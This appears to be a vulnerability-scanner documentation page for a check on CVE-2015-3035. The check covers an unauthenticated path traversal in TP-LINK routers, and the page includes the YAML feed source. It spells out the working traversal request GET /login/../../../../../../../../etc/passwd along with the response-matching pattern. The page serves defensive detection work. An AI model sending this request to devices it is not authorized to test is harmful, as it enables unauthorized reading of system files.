TP-LINK — 1 vulnerability check
noctis ships 1 vulnerability check for TP-LINK, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
TP-LINK Archer / TL-WDR / TL-WR /login/ path traversal file read
| CVE | CVE-2015-3035 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/tp-link/CVE-2015-3035.yaml |
Checks for a TP-LINK web server, requests /etc/passwd through a ../ traversal under /login/ and reports when its root entry comes back without authentication.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Checks
fp.bannerfor(?im)^Server:\s*Router Webserver|realm="TP-LINK|realm="TL- - Raw TCP (TLS on HTTPS), sent verbatim:
GET /login/../../../../../../../../etc/passwd HTTP/1.0 - Checks
resp.bannerfor(?m)\AHTTP/1\.[01] 200[\s\S]*^root:[^:\n]*:0:[01]:→ finding QoD 75: TP-LINK router served /etc/passwd (HTTP 200 + root passwd line) without authentication via GET /login/../../../../../../../../etc/passwd — …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-3035
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-3035.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/tplink_archer_c7_traversal.rb
Feed source — tests/vulnerabilities/tp-link/CVE-2015-3035.yaml
uid: 300b654e-c907-4d4f-a966-b25b1f27791d
name: "CVE-2015-3035 — TP-LINK Archer / TL-WDR / TL-WR /login/ path traversal file read (CVSS 7.5)"
description: "Checks for a TP-LINK web server, requests /etc/passwd through a ../ traversal under /login/ and reports when its root entry comes back without authentication."
cves: [CVE-2015-3035]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [tp-link, archer, router, lfi, path-traversal, kev, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-3035"
- "OpenVAS NASL 2015/gb_tp_link_lfi_cve_2015_3035.nasl (GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-3035.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/tplink_archer_c7_traversal.rb"
# Ported from OpenVAS/Greenbone NASL 2015/gb_tp_link_lfi_cve_2015_3035.nasl (GPL-2.0-only).
# Faithful to the NASL: scope the target to a TP-LINK web interface first (it exits unless the
# headers carry `Server: Router Webserver`, `realm="TP-LINK` or `realm="TL-`), then exercise the
# real primitive — an unauthenticated read of /etc/passwd through /login/../ — and require a
# genuine passwd root line behind a 200. This proves exploitation, not a fingerprint; the file read
# is world-readable and benign (no write, nothing persisted). Note: the engine stores the raw matched
# response (status line, headers and passwd lines) in the finding's evidence.matched field.
# The traversal is sent verbatim with tcp_connect: reqwest would collapse `../` before sending.
# Tagged `intrusive` + `category: file-read` so operators can exclude it.
steps:
- id: init
action: set_var
var_name: is_tplink
var_value: false
- id: fingerprint
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: fp
- id: fp-gate
action: match
source: fp.banner
pattern: '(?im)^Server:\s*Router Webserver|realm="TP-LINK|realm="TL-'
on_match:
set_vars:
is_tplink: true
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /login/../../../../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
condition: "is_tplink == true"
store_as: resp
- id: detect
action: match
source: resp.banner
pattern: '(?m)\AHTTP/1\.[01] 200[\s\S]*^root:[^:\n]*:0:[01]:'
condition: "is_tplink == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "TP-LINK router served /etc/passwd (HTTP 200 + root passwd line) without authentication via GET /login/../../../../../../../../etc/passwd — CVE-2015-3035"
stop: true